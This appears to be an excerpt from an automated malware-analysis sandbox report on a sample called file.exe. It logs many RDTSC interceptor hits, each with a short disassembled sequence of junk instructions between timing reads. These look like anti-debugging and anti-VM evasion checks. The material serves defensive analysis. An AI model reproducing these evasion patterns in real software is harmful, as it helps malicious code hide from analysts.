Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6B2690 second address: 6B2696 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6B2696 second address: 6B269C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6B2974 second address: 6B297A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6B2C53 second address: 6B2C93 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 js 00007F1AA0DFCFE8h 0x0000000c jmp 00007F1AA0DFCFE2h 0x00000011 popad 0x00000012 push eax 0x00000013 push edx 0x00000014 jp 00007F1AA0DFCFE5h 0x0000001a push eax 0x0000001b push edx 0x0000001c pushad 0x0000001d popad 0x0000001e jnl 00007F1AA0DFCFD6h 0x00000024 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6B2C93 second address: 6B2C9B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push esi 0x00000005 pop esi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6B2C9B second address: 6B2CAE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F1AA0DFCFDFh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6B79B6 second address: 6B79DE instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push edx 0x00000004 pop edx 0x00000005 jmp 00007F1AA0B73DBBh 0x0000000a pushad 0x0000000b popad 0x0000000c jmp 00007F1AA0B73DC2h 0x00000011 popad 0x00000012 pushad 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6B79DE second address: 6B79E4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6B8F95 second address: 6B8FC0 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1AA0B73DC3h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007F1AA0B73DC1h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6B8FC0 second address: 6B8FCA instructions: 0x00000000 rdtsc 0x00000002 jc 00007F1AA0DFCFDCh 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6BC299 second address: 6BC2A4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 push eax 0x00000008 push edx 0x00000009 pushad 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6BC2A4 second address: 6BC2A8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6BC2A8 second address: 6BC2B2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6BC2B2 second address: 6BC2B6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6BC2B6 second address: 6BC2BC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6BC41F second address: 6BC425 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6BC425 second address: 6BC429 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6BC6EA second address: 6BC6F2 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6BC6F2 second address: 6BC71B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1AA0B73DC5h 0x00000007 jmp 00007F1AA0B73DBBh 0x0000000c pop edx 0x0000000d pop eax 0x0000000e push eax 0x0000000f push edx 0x00000010 push edx 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6BC71B second address: 6BC720 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6BC720 second address: 6BC725 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6BC725 second address: 6BC72B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6BC72B second address: 6BC743 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F1AA0B73DC2h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6BC8AC second address: 6BC8B1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6C4311 second address: 6C4317 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6C262C second address: 6C2632 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6C2632 second address: 6C2638 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6C2638 second address: 6C264A instructions: 0x00000000 rdtsc 0x00000002 jno 00007F1AA0DFCFD6h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e push edx 0x0000000f pop edx 0x00000010 pushad 0x00000011 popad 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6C264A second address: 6C264E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6C2A76 second address: 6C2A7A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6C2A7A second address: 6C2A83 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push ebx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6C30FA second address: 6C311F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnc 00007F1AA0DFCFD6h 0x0000000a pop esi 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007F1AA0DFCFE8h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6C311F second address: 6C312C instructions: 0x00000000 rdtsc 0x00000002 jne 00007F1AA0B73DB6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push edi 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6C312C second address: 6C3137 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 popad 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 push ebx 0x0000000a pop ebx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6C3137 second address: 6C3146 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jns 00007F1AA0B73DB6h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6C3A8D second address: 6C3A93 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6C3A93 second address: 6C3AA7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 jl 00007F1AA0B73DB6h 0x0000000c jne 00007F1AA0B73DB6h 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6C41A8 second address: 6C41AE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6C41AE second address: 6C41B2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6C216D second address: 6C21A5 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1AA0DFCFE7h 0x00000007 jmp 00007F1AA0DFCFE5h 0x0000000c pop edx 0x0000000d pop eax 0x0000000e push eax 0x0000000f push edx 0x00000010 jnl 00007F1AA0DFCFD6h 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6CC699 second address: 6CC69D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6CC69D second address: 6CC6B6 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1AA0DFCFE5h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6DCF45 second address: 6DCF4A instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6DCF4A second address: 6DCF5F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 je 00007F1AA0DFCFD8h 0x0000000b pop edx 0x0000000c pop eax 0x0000000d push eax 0x0000000e push edx 0x0000000f push edi 0x00000010 push ecx 0x00000011 pop ecx 0x00000012 pop edi 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6EEA86 second address: 6EEA8C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6F694D second address: 6F6951 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6F6951 second address: 6F6957 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6F6957 second address: 6F6988 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 jmp 00007F1AA0DFCFE1h 0x00000008 jng 00007F1AA0DFCFD6h 0x0000000e pop ebx 0x0000000f push eax 0x00000010 push edx 0x00000011 pushad 0x00000012 popad 0x00000013 jmp 00007F1AA0DFCFE2h 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6F6988 second address: 6F69BC instructions: 0x00000000 rdtsc 0x00000002 jng 00007F1AA0B73DB6h 0x00000008 jmp 00007F1AA0B73DBBh 0x0000000d pop edx 0x0000000e pop eax 0x0000000f pop edx 0x00000010 pop eax 0x00000011 push eax 0x00000012 push edx 0x00000013 pushad 0x00000014 jmp 00007F1AA0B73DBBh 0x00000019 pushad 0x0000001a popad 0x0000001b push eax 0x0000001c pop eax 0x0000001d popad 0x0000001e push eax 0x0000001f push edx 0x00000020 push ecx 0x00000021 pop ecx 0x00000022 jbe 00007F1AA0B73DB6h 0x00000028 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6F69BC second address: 6F69C8 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 js 00007F1AA0DFCFD6h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6F69C8 second address: 6F69CE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6F69CE second address: 6F69D8 instructions: 0x00000000 rdtsc 0x00000002 jo 00007F1AA0DFCFD6h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6F52E9 second address: 6F52F4 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 pushad 0x00000008 popad 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6F52F4 second address: 6F5305 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 jnc 00007F1AA0DFCFD6h 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6F5305 second address: 6F5309 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6F5309 second address: 6F5324 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 jmp 00007F1AA0DFCFE0h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b popad 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6F5471 second address: 6F5491 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1AA0B73DC7h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a push edi 0x0000000b pop edi 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6F5491 second address: 6F5498 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6F57CE second address: 6F57D3 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6F5974 second address: 6F597E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jns 00007F1AA0DFCFD6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6FACE1 second address: 6FACEB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 js 00007F1AA0B73DB6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6FACEB second address: 6FACF1 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6FACF1 second address: 6FAD47 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007F1AA0B73DC6h 0x0000000b push ecx 0x0000000c push ecx 0x0000000d pop ecx 0x0000000e pop ecx 0x0000000f push edi 0x00000010 jmp 00007F1AA0B73DBEh 0x00000015 pop edi 0x00000016 popad 0x00000017 pushad 0x00000018 jmp 00007F1AA0B73DC0h 0x0000001d jno 00007F1AA0B73DBEh 0x00000023 push eax 0x00000024 push edx 0x00000025 pushad 0x00000026 popad 0x00000027 pushad 0x00000028 popad 0x00000029 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 70486A second address: 704870 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 704870 second address: 704875 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 704875 second address: 70487F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jng 00007F1AA0DFCFD6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 70487F second address: 704889 instructions: 0x00000000 rdtsc 0x00000002 je 00007F1AA0B73DB6h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 70CCBA second address: 70CCC0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edx 0x00000005 pop edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 70CAE6 second address: 70CAEC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 70CAEC second address: 70CAF0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 70CAF0 second address: 70CAFE instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jg 00007F1AA0B73DB8h 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 70CAFE second address: 70CB48 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pushad 0x00000004 popad 0x00000005 pushad 0x00000006 popad 0x00000007 pop edi 0x00000008 pushad 0x00000009 jno 00007F1AA0DFCFD6h 0x0000000f ja 00007F1AA0DFCFD6h 0x00000015 popad 0x00000016 pop edx 0x00000017 pop eax 0x00000018 pushad 0x00000019 push esi 0x0000001a jmp 00007F1AA0DFCFE9h 0x0000001f pushad 0x00000020 popad 0x00000021 pop esi 0x00000022 push esi 0x00000023 push esi 0x00000024 pop esi 0x00000025 jmp 00007F1AA0DFCFDDh 0x0000002a pop esi 0x0000002b push ecx 0x0000002c push eax 0x0000002d push edx 0x0000002e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 706B8E second address: 706B92 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 706B92 second address: 706B98 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 732EC6 second address: 732ED4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jng 00007F1AA0B73DB6h 0x0000000a popad 0x0000000b push edi 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 732ED4 second address: 732EDA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 73217B second address: 732181 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7322E6 second address: 7322F6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a jno 00007F1AA0DFCFD6h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7322F6 second address: 732305 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1AA0B73DBBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 732305 second address: 73230B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 73230B second address: 732315 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnl 00007F1AA0B73DB6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7328BE second address: 7328C3 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 732A4A second address: 732A61 instructions: 0x00000000 rdtsc 0x00000002 je 00007F1AA0B73DB6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pushad 0x0000000b je 00007F1AA0B73DB6h 0x00000011 push edi 0x00000012 pop edi 0x00000013 push ecx 0x00000014 pop ecx 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 732A61 second address: 732A6B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 pushad 0x00000007 popad 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 734540 second address: 734544 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 736E67 second address: 736E92 instructions: 0x00000000 rdtsc 0x00000002 jne 00007F1AA0DFCFDCh 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007F1AA0DFCFE8h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7370D9 second address: 737124 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop esi 0x00000007 mov dword ptr [esp], eax 0x0000000a push ecx 0x0000000b mov dword ptr [ebp+1246685Ch], ebx 0x00000011 pop edx 0x00000012 push 00000004h 0x00000014 push 00000000h 0x00000016 push eax 0x00000017 call 00007F1AA0B73DB8h 0x0000001c pop eax 0x0000001d mov dword ptr [esp+04h], eax 0x00000021 add dword ptr [esp+04h], 0000001Ch 0x00000029 inc eax 0x0000002a push eax 0x0000002b ret 0x0000002c pop eax 0x0000002d ret 0x0000002e mov dx, AF58h 0x00000032 call 00007F1AA0B73DB9h 0x00000037 push eax 0x00000038 push edx 0x00000039 push esi 0x0000003a pushad 0x0000003b popad 0x0000003c pop esi 0x0000003d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 737124 second address: 73714D instructions: 0x00000000 rdtsc 0x00000002 jnc 00007F1AA0DFCFDCh 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b jmp 00007F1AA0DFCFDEh 0x00000010 mov eax, dword ptr [esp+04h] 0x00000014 push eax 0x00000015 push edx 0x00000016 push eax 0x00000017 push edx 0x00000018 pushad 0x00000019 popad 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 73714D second address: 737157 instructions: 0x00000000 rdtsc 0x00000002 jc 00007F1AA0B73DB6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 737157 second address: 73715D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 73715D second address: 737192 instructions: 0x00000000 rdtsc 0x00000002 jo 00007F1AA0B73DB6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c mov eax, dword ptr [eax] 0x0000000e push eax 0x0000000f push eax 0x00000010 jp 00007F1AA0B73DB6h 0x00000016 pop eax 0x00000017 pop eax 0x00000018 mov dword ptr [esp+04h], eax 0x0000001c push eax 0x0000001d push edx 0x0000001e push eax 0x0000001f push edx 0x00000020 jmp 00007F1AA0B73DC5h 0x00000025 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 737192 second address: 73719C instructions: 0x00000000 rdtsc 0x00000002 jns 00007F1AA0DFCFD6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 73719C second address: 7371B1 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F1AA0B73DC0h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 73876B second address: 73876F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 73876F second address: 73878B instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 push eax 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pop ebx 0x00000009 pushad 0x0000000a jno 00007F1AA0B73DBEh 0x00000010 push eax 0x00000011 push edx 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 73878B second address: 738791 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 738791 second address: 738795 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
